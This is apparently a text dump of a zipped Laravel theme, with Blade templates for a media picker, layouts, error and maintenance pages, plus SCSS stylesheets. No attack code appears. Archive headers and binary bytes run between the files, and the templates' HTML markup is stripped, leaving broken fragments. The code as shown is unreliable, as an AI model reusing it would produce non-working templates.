    @if ($videos->count() > 0) @lang('Found :count videos for', ['count' => $videos->count()]) "{{ $searchTerm }}" @else @lang('No videos found for') "{{ $searchTerm }}" @endif
    @endif
    @forelse ($videos as $video) @php $isDisabledVideo = $this->isCardDisabled('video', $this->allowedTypes); @endphp
    {{-- Video thumbnail or video player --}} @if (isset($video->output_url) && $video->output_url)
    {{-- Static thumbnail/placeholder shown initially --}}
    {{-- Video element (initially without src) --}}
    @else
    @endif {{-- Video Controls Overlay --}} @if (isset($video->output_url) && $video->output_url)
    @endif
    {{ $video->title ?? Str::limit($video->input ?? ($video->filename ?? 'Untitled'), 30) }}
    {{-- Show creation date on hover --}}
    {{ $video->format_date ?? $video->created_at->format('M d, Y') }}
    {{-- Selection indicator --}} @if (in_array((string) $video->id, $selectedVideos ?? [], true)) @endif @if (!in_array((string) $video->id, $selectedVideos ?? [], true))
    @endif
    @empty

    @lang('No videos found.')

    @if (!empty($searchTerm))

    @lang('Try adjusting your search term.')

    @endif
    @endforelse
    {{-- Loading indicator --}} @if ($hasMoreVideos && !$isLoading && $videos->count() > 0)
    @lang('Scroll for more videos...')
    @endif {{-- Loading spinner --}}
    @if (!empty($selectedVideos) && count($selectedVideos) > 0)
    @lang($allowMultipleSelection ? 'Insert Selected Videos' : 'Insert Selected Video') @if ($allowMultipleSelection && count($selectedVideos)) ({{ count($selectedVideos) }}) @endif
    @endif @endif {{-- Other Files Section --}} @if ($activeFilter === 'Other Files')
    {{-- Search results info --}} @if (!empty($searchTerm))
    @if ($otherFiles->count() > 0) @lang('Found :count files for', ['count' => $otherFiles->count()]) "{{ $searchTerm }}" @else @lang('No files found for') "{{ $searchTerm }}" @endif
    @endif
    @forelse ($otherFiles as $file) @php $isDisabledOther = $this->isCardDisabled('other', $this->allowedTypes); @endphp
    {{-- File icon based on extension --}}
    @if (in_array($file->extension, ['pdf'])) @elseif (in_array($file->extension, ['doc', 'docx'])) @elseif (in_array($file->extension, ['xls', 'xlsx'])) @elseif (in_array($file->extension, ['ppt', 'pptx'])) @else @endif
    {{-- File info --}}

    {{ \Illuminate\Support\Str::limit($file->filename, 20, '...') }}

    {{ strtoupper($file->extension) }} • {{ number_format($file->file_size / 1024, 1) }} KB

    {{ $file->format_date }}

    {{-- Selection indicator --}} @if (in_array((string) $file->id, $selectedOtherFiles ?? [], true)) @endif
    @empty

    @lang('No files found.')

    @if (!empty($searchTerm))

    @lang('Try adjusting your search term.')

    @endif
    @endforelse
    {{-- Loading indicator --}} @if ($hasMoreOtherFiles && !$isLoading && $otherFiles->count() > 0)
    @lang('Scroll for more files...')
    @endif {{-- Loading spinner --}}
    @if (!empty($selectedOtherFiles) && count($selectedOtherFiles) > 0)
    @lang('Insert Selected Files') ({{ count($selectedOtherFiles) }})
    @endif @endif {{-- Google Drive Section --}} @if ($activeFilter === 'Google Drive')

    @lang('Google Drive integration coming soon...')

    @endif {{-- Stock Images Section --}} @if ($activeFilter === 'Stock Images')
    {{-- Search results info --}} @if (!empty($searchTerm))
    @if ($stockImages->count() > 0) @lang('Found :count stock images for', ['count' => $stockImages->count()]) "{{ $searchTerm }}" @else @lang('No stock images found for') "{{ $searchTerm }}" @endif
    @endif
    @forelse ($stockImages as $stockImage) @php $isDisabledImage = $this->isCardDisabled('image', $this->allowedTypes); // Check if this stock image is selected $isSelected = in_array((string) $stockImage->id, $selectedStockImages ?? [], true); @endphp
    {{ $stockImage->title }} {{-- Title overlay - matches images section style --}}
    {{ Str::limit($stockImage->title ?? 'Untitled', 30) }}
    {{-- Selection indicator --}} @if ($isSelected) @endif
    @empty
    @if (empty($searchTerm))

    @lang('Enter a search term to find stock images')

    @else

    @lang('No stock images found for') "{{ $searchTerm }}"

    @lang('Try adjusting your search term.')

    @endif
    @endforelse
    {{-- Loading spinner --}}
    {{-- Insert button for selected stock images --}} @if (!empty($selectedStockImages) && count($selectedStockImages) > 0)
    @lang($allowMultipleSelection ? 'Download & Insert Selected Images' : 'Download & Insert Selected Image') @if ($allowMultipleSelection) ({{ count($selectedStockImages) }}) @endif @lang('Downloading...')
    @endif @endif {{-- Stock Videos Section --}} @if ($activeFilter === 'Stock Videos')
    {{-- Search results info --}} @if (!empty($searchTerm))
    @if ($stockVideos->count() > 0) @lang('Found :count stock videos for', ['count' => $stockVideos->count()]) "{{ $searchTerm }}" @else @lang('No stock videos found for') "{{ $searchTerm }}" @endif
    @endif
    @forelse ($stockVideos as $stockVideo) @php $isDisabledVideo = $this->isCardDisabled('video', $this->allowedTypes); // Check if this stock video is selected $isSelected = in_array((string) $stockVideo->id, $selectedStockVideos ?? [], true); @endphp
    {{-- Video thumbnail with hidden video player --}} @if ($stockVideo->thumbnail)
    {{ $stockVideo->title }} {{-- Hidden video player for stock videos --}} @if ($stockVideo->preview_url || $stockVideo->url) @endif
    @else
    @endif {{-- Video Controls Overlay --}} @if ($stockVideo->preview_url || $stockVideo->url)
    @endif {{-- Duration badge --}} @if ($stockVideo->duration > 0)
    {{ gmdate('i:s', $stockVideo->duration) }}
    @endif {{-- Title overlay --}}
    {{ Str::limit($stockVideo->title ?? 'Untitled', 30) }}
    {{-- Selection indicator --}} @if ($isSelected) @endif
    @empty
    @if (empty($searchTerm))

    @lang('Enter a search term to find stock videos')

    @else

    @lang('No stock videos found for') "{{ $searchTerm }}"

    @lang('Try adjusting your search term.')

    @endif
    @endforelse
    {{-- Loading spinner --}}
    {{-- Insert button for selected stock videos --}} @if (!empty($selectedStockVideos) && count($selectedStockVideos) > 0)
    @lang($allowMultipleSelection ? 'Download & Insert Selected Videos' : 'Download & Insert Selected Video') @if ($allowMultipleSelection) ({{ count($selectedStockVideos) }}) @endif @lang('Downloading...')
    @endif @endif
    PKJW]µ2O$O$,views/livewire/assign-view-credits.blade.phpnu„[µü¤
    @foreach ($enabledAiEngines as $aiEngine) @if (isset($entities[$aiEngine->value]))
    @php $defaultModels = $aiEngine->getDefaultModels($setting, $settings_two); $modelsWithoutDefault = $aiEngine->getListableActiveModels($setting, $settings_two); @endphp @foreach ($defaultModels as $defaultModel)
    {{ $defaultModel->tooltipHowToCalc() }} @php $key = $defaultModel->engine()->slug().'.'.$defaultModel->slug(); if (data_get($costs, $key . '.isUnlimited')) { $cost = '∞'; } else{ if (is_numeric(data_get($costs, $key.'.credit', 0.00))) { $cost = '$' . formatSmallNumber(data_get($costs, $key.'.credit', 0.00)); } } @endphp {{ trans('Estimated cost (USD): '). $cost }}
    @endforeach @if ($modelsWithoutDefault->count() > 0)
    {{ __('View All') }}
    @endif
    @endif @endforeach @if(count($totals) && $plan) @endif
    PKJW]'n³¾>>)views/default/maintenance/index.blade.phpnu„[µü¤@php $google_fonts_string = ''; $theme_google_fonts = Theme::getSetting('landingPage.googleFonts'); $app_js_path = 'resources/views/' . get_theme() . '/js/app.js'; $i = 0; foreach ($theme_google_fonts as $font_name => $weights) { $font_string = 'family=' . str_replace(' ', '+', $font_name); if (!empty($weights)) { $font_string .= ':wght@' . implode(';', $weights); } $google_fonts_string .= $font_string . ($i === count($theme_google_fonts) - 1 ? '' : '&'); $i++; } @endphp @if (isset($setting->meta_keywords)) @endif {{ getMetaTitle($setting, $settings_two) }} @if (filled($google_fonts_string)) @endif @php $link = 'resources/views/' . get_theme() . '/scss/landing-page.scss'; @endphp @vite($link) @if ($setting->frontend_custom_css != null) @endif @if ($setting->frontend_code_before_head != null) {!! $setting->frontend_code_before_head !!} @endif {!! adsense_header() !!} {{-- Rewordfull start --}} {{-- --}} {{-- --}} {{-- Rewordfull end --}} @vite($app_js_path) @stack('css') @if (setting('additional_custom_css') != null) {!! setting('additional_custom_css') !!} @endif

    {{ data_get($data, 'header') }}

    {{ data_get($data, 'paragraph') }}

    {!! data_get($data, 'footer') !!}
    PKJW]EÇç×¥¥views/default/test.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true, 'disable_titlebar' => true]) @section('title', __('Overview')) @section('content') @endsection PKJW]ƒÆã8ÚÚ%views/default/empty-section.blade.phpnu„[µü¤@php $sales_prev_week = cache('sales_previous_week'); $sales_this_week = cache('sales_this_week'); $popular_tools_data = cache('popular_tools_data'); $popular_plans_data = cache('popular_plans_data'); $user_behavior_data = cache('user_behavior_data'); $currencySymbol = currency()->symbol; @endphp @extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('Overview')) @section('content') @endsection @push('script') @endpush PKJW]ÈÃ×views/default/.DS_Storenu„[µü¤Bud1lbwspblobpanelbwspblob¸bplist00Ö ]ShowStatusBar[ShowToolbar[ShowTabView_ContainerShowSidebar\WindowBounds[ShowSidebar  _{{293, 274}, {920, 436}} #/;R_klmnoŠ ‹panelvSrnlong  @€ @€ @€ @ EDSDB `€ @€ @€ @PKJW]#®®��)views/default/layout/footer.blade.php.baknu„[µü¤ PKJW]#¾aUB7B7%views/default/layout/header.blade.phpnu„[µü¤@php $menu_items = app(App\Services\Common\FrontMenuService::class)->generate(); @endphp
    @includeWhen($fSectSettings->preheader_active, 'landing-page.header.preheader') @includeWhen($fSetting->floating_button_active, 'landing-page.header.floating-button')
    @includeWhen($app_is_demo, 'landing-page.header.envato-link') @includeWhen(in_array($settings_two->chatbot_status, ['frontend', 'both']) && ($settings_two->chatbot_login_require == false || ($settings_two->chatbot_login_require == true && auth()->check())), 'panel.chatbot.widget', ['page' => 'landing-page'] ) PKJW]ê�åÌÌ%views/default/layout/footer.blade.phpnu„[µü¤ PKJW]¾v[;;"views/default/layout/app.blade.phpnu„[µü¤ @if (setting('facebook_domain_verification')) @endif @if (setting('google_robots')) @endif @if (isset($setting->meta_keywords)) @endif {{ getMetaTitle($setting, $settings_two) }} @if (filled($google_fonts_string = \App\Helpers\Classes\ThemeHelper::googleFontsString())) @endif @php $link = 'resources/views/' . get_theme() . '/scss/landing-page.scss'; @endphp @vite($link) @if ($setting->frontend_custom_css != null) @endif @if ($setting->frontend_code_before_head != null) {!! $setting->frontend_code_before_head !!} @endif {!! adsense_header() !!} {{-- Rewordfull start --}} {{-- --}} {{-- --}} {{-- Rewordfull end --}} @vite(\App\Helpers\Classes\ThemeHelper::appJsPath()) @stack('css') @if (setting('additional_custom_css') != null) {!! setting('additional_custom_css') !!} @endif @livewireStyles @if (isset($smoothScroll) && filled($smoothScroll))
    @endif @include('layout.header') @yield('content') @include('layout.footer') @if (isset($smoothScroll) && filled($smoothScroll))
    @endif @if ($setting->frontend_custom_js != null) @endif @if ($setting->frontend_code_before_body != null) {!! $setting->frontend_code_before_body !!} @endif @if (isset($show_promo_banner) && $show_promo_banner === true) @include('discount-manager::components.promo-banner', ['bannerInfo' => $bannerInfo, 'landingPage' => true]) @endif @if (in_array($settings_two->chatbot_status, ['frontend', 'both'])) @endif @if ($setting->gdpr_status == 1) @endif @if (isset($smoothScroll) && filled($smoothScroll)) @endif @if (\Session::has('message')) @endif @livewireScriptConfig() @stack('script') @if ($app_is_demo) @endif PKJW]Wï� � $views/default/layout/error.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true]) @section('content')
    @if (isset($setting->logo_dashboard)) logo_dashboard_2x_path)) srcset="/{{ $setting->logo_dashboard_2x_path }} 2x" @endif alt="{{ $setting->site_name }}" > logo_dashboard_dark_2x_path)) srcset="/{{ $setting->logo_dashboard_dark_2x_path }} 2x" @endif alt="{{ $setting->site_name }}" > @else logo_2x_path)) srcset="/{{ $setting->logo_2x_path }} 2x" @endif alt="{{ $setting->site_name }}" > logo_dark_2x_path)) srcset="/{{ $setting->logo_dark_2x_path }} 2x" @endif alt="{{ $setting->site_name }}" > @endif

    @yield('error_code', '404')

    @yield('error_title', __('Looks like you’re lost.'))

    @yield('error_subtitle', __('We can’t seem to find the page you’re looking for.'))

    {{ __('Take me back to the homepage') }}
    @endsection PKJW]0views/default/layout/partials/megmaenu.blade.phpnu„[µü¤PKJW]Æb×*VVviews/default/chatbot.blade.phpnu„[µü¤ {{-- --}} PKJW]^ìì.views/default/scss/focus-mode/_focus-mode.scssnu„[µü¤@media (min-width: theme('screens.lg')) { .focus-mode { &, .lqd-page, .lqd-page-wrapper { min-height: 100vh; } .container, .container-fluid { max-width: 1400px; } .lqd-header .header-search-container, .lqd-navbar, .lqd-navbar-expander, .lqd-page-footer, .lqd-titlebar-pretitle, .lqd-titlebar-subtitle, .lqd-titlebar-title, .lqd-titlebar-actions:not(:has(.doc-share-dropdown, .reset-wizard-btn)), .lqd-titlebar .lqd-remaining-credit, .lqd-titlebar-col-actions:has(> .lqd-btn:first-child + .lqd-btn:last-child), // if there's only 2 buttons .lqd-titlebar :has(> .lqd-remaining-credit:only-child), .lqd-titlebar:not(:has(.lqd-titlebar-after, .lqd-posts-view-toggle, .doc-share-dropdown, .reset-wizard-btn)) { display: none; } .lqd-titlebar-container { row-gap: 0; } .lqd-posts-view-toggle { &.lg\:-mb-16 { margin-top: 0; margin-bottom: -1.5rem; } } @import './components/chat'; @import './components/generators'; } } PKJW]°ið�÷÷3views/default/scss/focus-mode/components/_chat.scssnu„[µü¤.lqd-chats-list { @apply border-s; } .lqd-page-content-container:has(.chats-wrap)>div { display: flex; flex-direction: column; height: 100%; .chats-wrap { flex-grow: 1; display: flex; } .chats-list-container, .conversation-area-wrap { height: auto; } } .chats-wrap { .chats-search, .chat-list-item, .chats-list-container { border-width: 0; } .chats-search { height: auto; padding-bottom: 35px; padding-inline: 0; } .chats-sidebar-wrap { width: 25%; @apply md:h-full; } .conversation-area-wrap { width: 75%; border-top-width: 0; border-inline-end-width: 0; border-bottom-width: 0; >.lqd-card-body { padding-inline-start: theme('spacing.10'); } } .lqd-chat-head, .chats-container, .lqd-chat-form { padding-inline-start: 0; } .lqd-chat-head { background-color: theme('colors.background'); border: none; } .lqd-chat-avatar { @apply size-7; } .chat-content-container { @apply rounded-3xl; } .chat-content { @apply py-3.5 px-5; } &.chats-sidebar-hidden { .conversation-area-wrap { border-inline-start-color: transparent; } } } .chats-list-container { padding-inline-start: theme('spacing.5'); padding-inline-end: theme('spacing.10'); .chat-list-ul { @apply space-y-1.5; } .chat-list-item { border-radius: theme('borderRadius.3xl'); &:hover, &.active { background-color: theme('colors.heading.foreground/3%'); color: theme('colors.heading.foreground'); &:before { content: none; } } } .chat-list-item-trigger>svg, .chat-item-date { display: none; } .chat-list-item-trigger { padding-block: 10px; } .chats-search-form { .lqd-input { background: none; height: theme('size.11'); border: 1px solid theme('colors.border'); } } } PKJW]ŠÙœF**9views/default/scss/focus-mode/components/_generators.scssnu„[µü¤.lqd-generators-list { @apply border-s; }PKJW]‹±1ñzzDviews/default/scss/advanced-image-editor/_advanced-image-editor.scssnu„[µü¤.lqd-adv-img-editor { .FIE_canvas-container { padding: 0; } .FIE_canvas-node { background-color: transparent; } }PKJW]†ÒFÝüü0views/default/scss/single-page/_single-page.scssnu„[µü¤.blog-content, .page-content { font-size: 16px; line-height: 1.5em; color: #000; h1, h2, h3, h4, h5, h6 { margin-top: 0; font-weight: 700; line-height: 1.1em; letter-spacing: -0.03em; color: #1E2227; } h1, h2, h3 { margin-bottom: 0.5em; } h4, h5, h6 { margin-bottom: 0.75em; letter-spacing: -0.01em; } h1 { font-size: 65px; line-height: 1em; } h2 { font-size: 53px; } h3 { font-size: 39px; } h4 { font-size: 28px; } h5 { font-size: 20px; } h6 { font-size: 12px; } p { margin-bottom: 1.875em; } li { margin-bottom: 0.5em; } hr { border-color: rgb(0 0 0 / 10%); padding: 1em 0; } table { img { display: inline-block; } } .highlight { font-size: 12px; line-height: 1.5em; font-weight: 500; display: inline-block; border-radius: 6px; padding: 2px 14px 2px 14px; background: linear-gradient(90deg, #ECEAF8 0%, #E9C4E6 35%, #D2CDE2 70%, #EAEDFB 100%) } .leading { font-size: 20px; font-weight: 600; line-height: 1.2em; margin-bottom: 2.5em; } .num-block { display: inline-flex; min-width: 1.9412em; min-height: 1.9412em; padding: 0.25em 0.5em; align-items: center; justify-content: center; font-size: 17px; font-weight: 700; border-radius: 10px; background-color: #F3E3F8; } .info-box { display: inline-block; font-size: 14px; font-weight: 500; background-color: rgb(0 0 0 / 10%); padding: 4px 17px 4px 17px; border-radius: 11px; a { text-decoration: underline; } } }PKJW](views/default/scss/layout/_titlebar.scssnu„[µü¤PKJW]º]\ll'views/default/scss/layout/_sidebar.scssnu„[µü¤.has-sidebar { .lqd-page-wrapper { @apply lg:pe-[--sidebar-width]; } .container { width: 100%; } }PKJW]Vìc‘{{&views/default/scss/layout/_layout.scssnu„[µü¤@import './header'; @import './navbar'; @import './titlebar'; @import './errors'; @import './sidebar'; @import './footer'; PKJW] RcÃ%%&views/default/scss/layout/_footer.scssnu„[µü¤.lqd-page-footer { @apply w-full; } PKJW]lM⤀ € &views/default/scss/layout/_navbar.scssnu„[µü¤:root { --navbar-width: 17rem; } .lqd-navbar-logo { @apply lg:sticky top-0 start-0 z-40 lg:before:absolute lg:before:top-0 lg:before:-bottom-4 lg:before:-start-navbar-ps lg:before:-end-navbar-pe lg:before:backdrop-blur-2xl lg:before:[mask-image:linear-gradient(to_bottom,black,black_calc(100%-1rem),transparent_calc(100%-1rem))]; } .chat-list-item { @apply shrink-0; &.pin-mode { @apply -order-1; } } .top-notice-bar-visible { ~.lqd-page { .lqd-navbar-expander { top: calc(var(--top-notice-bar-height) + (var(--header-height) / 2)); } } } @media (min-width: theme('screens.lg')) { .navbar-shrinked { --navbar-width: 80px; --label-offset: 10px; --label-translate-x: 10px; --label-translate-y: 0px; --dropdown-translate-x: 10px; --dropdown-translate-y: 0px; .lqd-nav-link-label, .lqd-navbar-dropdown { position: fixed; top: var(--item-y); inset-inline-start: calc(var(--navbar-width) + var(--label-offset)); opacity: 0; visibility: hidden; width: max-content; z-index: 30; @apply bg-navbar-background; padding: 0.5rem 1rem; border-radius: 0.375rem; box-shadow: 0 4px 20px rgb(0 0 0 / 10%); transition: transform 0.15s, opacity 0.15s, visibility 0.15s; } .lqd-nav-link-label { transform: translate(var(--label-translate-x), var(--label-translate-y)); } .lqd-navbar-dropdown { display: block; margin-top: var(--dropdown-bottom-diff); transform: translate(var(--dropdown-translate-x), var(--dropdown-translate-y)); pointer-events: none; &:before { content: ''; display: inline-block; width: calc((var(--label-offset) + 3rem)); height: 100%; position: absolute; top: 0; inset-inline-start: calc((var(--label-offset) + 3rem) *-1); margin-top: calc(var(--dropdown-bottom-diff) * -1); } } .lqd-navbar-link { padding-left: theme('spacing.2'); padding-right: theme('spacing.2'); justify-content: center; } .lqd-navbar-dropdown-item { --label-translate-x: 0px; .lqd-nav-link-label { position: relative; top: auto; inset-inline-start: auto; padding: 0; opacity: 1; visibility: visible; border-radius: 0; box-shadow: none; } } .lqd-navbar-item { --dropdown-bottom-diff: clamp(calc(var(--dropdown-height) * -1), calc((100vh - (var(--item-y) + var(--dropdown-height)) - 1.5rem)), calc(var(--item-height))); &:has(> .lqd-navbar-dropdown) { >.lqd-navbar-link { .lqd-nav-link-label { --label-translate-y: calc(-100% - 0.5rem); margin-top: var(--dropdown-bottom-diff); &:after { content: ''; display: inline-block; width: 100%; height: 0.5rem; position: absolute; bottom: -0.5rem; inset-inline-start: 0; } } } } &:hover { --label-translate-x: 0px; --dropdown-translate-x: 0px; >.lqd-navbar-link .lqd-nav-link-label, >.lqd-navbar-dropdown { opacity: 1; visibility: visible; } >.lqd-navbar-dropdown { pointer-events: auto; } } } &[data-theme=default] { .lqd-navbar-item:has(.lqd-navbar-label:only-child) { @apply hidden; } } } } PKJW]UŠÈY••&views/default/scss/layout/_errors.scssnu„[µü¤.page-404 { h1 { font-size: 92px; font-weight: 700; color: #000; } .btn { height: 48px; padding: 0.25em 2em; border-radius: 4em; } }PKJW]h²ž uu&views/default/scss/layout/_header.scssnu„[µü¤.lqd-header { @apply shrink-0; } .lqd-mobile-nav-toggle-icon { transition: top .1s .1s, bottom .1s .1s, transform .1s, opacity 0s .1s; &:after, &:before { content: ''; display: block; height: inherit; width: inherit; border-radius: inherit; background: inherit; position: absolute; left: 0; transition: inherit } &:before { top: -.45em; } &:after { bottom: -.45em; } .lqd-is-active & { transform: rotate(45deg); transition: top .1s, bottom .1s, transform .1s .1s, opacity 0s .1s; &:before { top: 0; transform: rotate(-90deg) } &:after { bottom: 0; opacity: 0 } } } PKJW]NЀ5$views/default/scss/landing-page.scssnu„[µü¤@config "../../../../tailwind.landing-page.config.js"; @tailwind base; @tailwind components; @tailwind utilities; @layer base { :root { --background: 240 25% 98%; --foreground: 216 11% 45%; --heading-background: 0 0% 100%; --heading-foreground: 213 13% 14%; --font-body: 'Golos Text'; --font-heading: 'Onest'; --headings-font-family: theme('fontFamily.heading'); --headings-line-height: 1.25rem; --headings-font-weight: 600; --headings-text-transform: ; --headings-letter-spacing: ; --headings-color: hsl(var(--heading-foreground)); --button-border: var(--border); --button-rounded: theme('borderRadius.full'); --h1-font-size: 5.25rem; // 84px --h1-line-height: 4.8125rem; // 77px --h1-letter-spacing: -0.05em; --h1-font-weight: 700; --h2-font-size: 3.3125rem; // 53px --h2-line-height: 1; --h2-letter-spacing: -0.03em; --h2-font-weight: 700; --h3-font-size: 2.4375rem; // 39px --h3-line-height: 1.1; --h3-letter-spacing: -0.03em; --h3-font-weight: 700; --h4-font-size: 1.125rem; // 18px --h4-line-height: 1; --h4-letter-spacing: -0.01em; --h4-font-weight: 500; --h5-font-size: 1rem; --h5-line-height: 1; --h5-letter-spacing: -0.01em; --h5-font-weight: 500; --h6-font-family: theme('fontFamily.body'); --h6-font-size: 0.9375rem; // 15px --h6-line-height: 1; --h6-font-weight: 500; } h1, h2, h3, h4, h5, h6 { font-family: var(--headings-font-family); line-height: var(--headings-line-height); font-weight: var(--headings-font-weight); font-style: var(--headings-font-style); text-transform: var(--headings-text-transform); letter-spacing: var(--headings-letter-spacing); color: var(--headings-color); } @for $i from 1 through 6 { h#{$i} { font-family: var(--h#{$i}-font-family, var(--headings-font-family)); font-size: var(--h#{$i}-font-size, var(--headings-font-size)); line-height: var(--h#{$i}-line-height, var(--headings-line-height)); font-weight: var(--h#{$i}-font-weight, var(--headings-font-weight)); font-style: var(--h#{$i}-font-style, var(--headings-font-style)); text-transform: var(--h#{$i}-text-transform, var(--headings-text-transform)); letter-spacing: var(--h#{$i}-letter-spacing, var(--headings-letter-spacing)); color: var(--h#{$i}-color, var(--headings-color)); } } @media (max-width: 767px) { :root { --h1-font-size: 4.3125rem; // 69px } } @media (max-width: 479px) { :root { --h1-font-size: 14vw; --h1-line-height: 1.15em; } h1 svg { width: 0.55em; } } } @layer components { .dot { @apply inline-block size-1 mx-1 align-middle bg-current rounded-full opacity-40; } @media (max-width: 1199px) { .container { @apply px-4; } } @import './components/outline-glow'; @import './components/shape-cutout'; @import './components/curtain'; @import './components/split-text'; @import './components/tab'; @import './components/progressive-blur'; } @layer utilities { @keyframes gradient-animation { 0% { background-position: 0% 100%; } 100% { background-position: 100% 100%; } } .banner-bg { background: linear-gradient(120deg, #70acd4 0%, #ca71ff 20%, #8469cc 30%, #4882e6 50%, #8469cc 70%, #70acd4 100%); background-size: 200% 200%; animation: gradient-animation 20s ease-in-out alternate infinite; } } .page-loaded { .banner-title { .lqd-split-text-words { --tw-blur: blur(0px); --tw-translate-x: 0 !important; --tw-translate-y: 0 !important; --tw-scale-x: 1; --tw-scale-y: 1; opacity: 1; } @for $i from 0 through 7 { .lqd-split-text-words:nth-child(#{$i + 1}) { transition-delay: ($i * 0.07) + s; } } } .banner-title-gradient { transform: translate(100%, 50%); transition: transform 3.5s 1s, opacity 0.3s 2.1s; opacity: 0; } } @media (max-width: 575px) { :root { --h2-font-size: 2.1875rem; // 35px } } @media (prefers-color-scheme: dark) { .lqd-chatbot { --heading-background: 220 8% 15%; --heading-foreground: 0 0% 100%; } } @import '../scss/single-page/single-page';PKJW]tÊŽ“331views/default/scss/components/_modal_popover.scssnu„[µü¤.custom__popover__title { font-size: 24px; line-height: 36px; text-decoration: none; color: rgb(228, 68, 68); text-align: center; padding: 15px 0; } .custom__popover__wrapper { position: relative; margin-top: 1.5rem; display: inline-block; } .custom__popover__back { position: fixed; width: 200vw; height: 200vh; background-color: rgba(0, 0, 0, 0.26); z-index: 54; left: -100vw; top: -100vh; } .custom__popover__content { opacity: 0; visibility: hidden; position: absolute; transform: translate(0, 15px); background-color: #fff; padding: 10px; box-shadow: 0px 2px 5px 2px rgba(0, 0, 0, 0.26); border-radius: 10px; min-width: 250px; } .custom__popover__content:before { position: absolute; z-index: -1; content: ''; right: calc(10% - 10px); top: -8px; border-style: solid; border-width: 0 10px 10px 10px; border-color: transparent transparent #fff transparent; transition-duration: 0.3s; transition-property: transform; } .custom__popover__wrapper .custom__popover__content { opacity: 1; visibility: visible; transform: translate(0px, 10px); transition: all 0.5s cubic-bezier(0.75, -0.02, 0.2, 0.97); z-index: 55; } .custom__popover__message { text-align: left; padding-left: 10px; } .theme-dark { .custom__popover__content:before { border-bottom-color: var(--tblr-body-bg); } } PKJW] Ž@@1views/default/scss/components/_floating-menu.scssnu„[µü¤.lqd-floating-menu { view-transition-name: lqd-floating-menu; }PKJW]‹�Ú‡ÿÿ*views/default/scss/components/_custom.scssnu„[µü¤.progress_bar { background: linear-gradient(to bottom right, #82e2f4, #8a8aed); } .spinner_button:before { content: ''; position: absolute; top: 0; bottom: 0; left: 0; right: 0; background: linear-gradient(to right, #8d65e9, #5391e4, #6bcd94); } PKJW] áŒ>)views/default/scss/components/_badge.scssnu„[µü¤.bg-success { --tblr-bg-opacity: 0.1; --tblr-badge-color: var(--tblr-success); } .bg-danger { --tblr-bg-opacity: 0.1; --tblr-badge-color: var(--tblr-danger); } .badge { font-size: 0.75rem; text-transform: none; letter-spacing: 0; border-radius: 2em; }PKJW]ç‘¡†œœ+views/default/scss/components/_tinymce.scssnu„[µü¤div.tox { color: unset !important; border: none; p { color: unset !important; background: none !important; } .tox-tbtn--bespoke, .tox-promotion, .tox-toolbar, .tox-menubar { background: none; } .tox-toolbar__primary { flex-wrap: nowrap; align-items: center; justify-content: space-between; gap: 12px; padding-bottom: 0; background: none; } .tox-tbtn__select-label { cursor: inherit; } .tox-toolbar__group { padding: 0; flex-wrap: nowrap; } .tox-edit-area__iframe { background: none; } .tox-collection__item { cursor: pointer; color: inherit; } .tox-collection__item-icon:empty { display: none !important; } .tox-tbtn--select { margin: 0; } .tox-tbtn:focus:not(.tox-tbtn--disabled), .tox-tbtn, .tox-collection__item-caret { svg { fill: currentColor; } } .tox-tbtn, .tox-collection__item-caret { &:hover { svg { fill: currentColor; } } } .tox-tbtn { width: 24px; height: 24px; } .tox-mbtn, .tox-tbtn { color: inherit; &:focus:not(.tox-tbtn--disabled), &:hover:not(:disabled):not(.tox-mbtn--active), &--active, &--active:hover, &:hover, &:active, &:focus { background: hsl(var(--foreground) / 10%); color: hsl(var(--foreground)); } &--enabled, &--enabled:hover { background: hsl(var(--primary) / 10%); color: hsl(var(--primary)); } } .tox-tbtn__icon-wrap { max-width: 100%; } .tox-collection--toolbar { .tox-collection__item--active { background-color: hsl(var(--foreground) / 10%); &:not(.tox-collection__item--state-disabled) { color: hsl(var(--foreground)); } } } .tox-split-button { &:focus { background: hsl(var(--foreground) / 10%); color: hsl(var(--foreground)); } } .tox-split-button { &:hover { box-shadow: 0 0 0 1px hsl(var(--foreground) / 10%) inset; } } .tox-editor-header { .tox-toolbar__group { &:first-child { .tox-tbtn--select { justify-content: space-between; width: 170px; height: 40px; padding: 0 16px; background: none; border: 1px solid hsl(var(--border)); border-radius: var(--input-rounded); } } &:nth-child(2) { .tox-tbtn { width: auto; } .tox-tbtn__select-label { overflow: visible; } } &:nth-child(3) { .tox-tbtn__select-chevron { display: none; } } } } .tox-custom-label { font-size: 10px; font-weight: 500; text-transform: uppercase; letter-spacing: 0.05em; margin-bottom: 1em; } .tox-menu.tox-collection.tox-collection--list { padding: 16px !important; .tox-collection__group { padding: 20px 0; &:first-child { padding-top: 0; } &:last-child { padding-bottom: 0; } } .tox-collection__item { cursor: pointer; } .tox-collection__item-label { font-size: 13px; } } .tox-collection--list { .tox-collection__item--active, .tox-collection__item--enabled { background-color: hsl(var(--primary) / 10%); color: hsl(var(--primary)); } .tox-collection__item--active { &:not(.tox-collection__item--state-disabled) { color: hsl(var(--foreground)); } } } .tox-toolbar-overlord { overflow-x: auto; } .tox-toolbar-overlord, &:not(.tox-tinymce-inline) .tox-editor-header { background: none; } &:not(.tox-tinymce-inline) { .tox-editor-header { box-shadow: none; } } &.tox-tinymce-aux { .tox-toolbar__overflow { background-color: hsl(var(--surface-light)); } } .tox-toolbar__overflow { .tox-tbtn { width: auto; height: auto; } } &.tox-edit-focus { .tox-edit-area { &:before { opacity: 0; } } } } .lqd-tinymce-toolbar-fixed { --header-translateX: var(--sidebar-w); padding-bottom: 7rem; div.tox { height: calc(100vh - var(--editor-tb-h) - 6rem - 7rem) !important; .tox-editor-header { box-shadow: 0 4px 10px rgb(0 0 0 / 5%) !important; background: hsl(var(--background)) !important; transition: transform 0.3s; position: fixed !important; inset-inline-start: 0; top: var(--editor-tb-h); width: 100vw; transform: translateX(var(--header-translateX)); transition: all 0.5s cubic-bezier(0.25, 0.8, 0.49, 1.0) !important; padding: 0 !important; .lqd-generator-sidebar-collapsed & { transform: translateX(0); z-index: 40; } } .tox-tbtn--select { margin: 0; } .tox-tbtn__select-label { font-size: 12px; font-weight: 500; } .tox-toolbar-overlord, .tox-toolbar__primary { background: none; } .tox-toolbar__primary { border-bottom: none !important; padding-bottom: 0; gap: 1rem; } .tox-toolbar__group { &:first-child, &:last-child { width: var(--sidebar-w); } &:first-child { margin-inline-end: auto; .tox-tbtn--select { border-radius: 0; border: none; border-inline-end: 1px solid hsl(var(--border)); } } &:last-child { margin-inline-start: auto; justify-content: end; padding-inline-end: 0.5rem; gap: 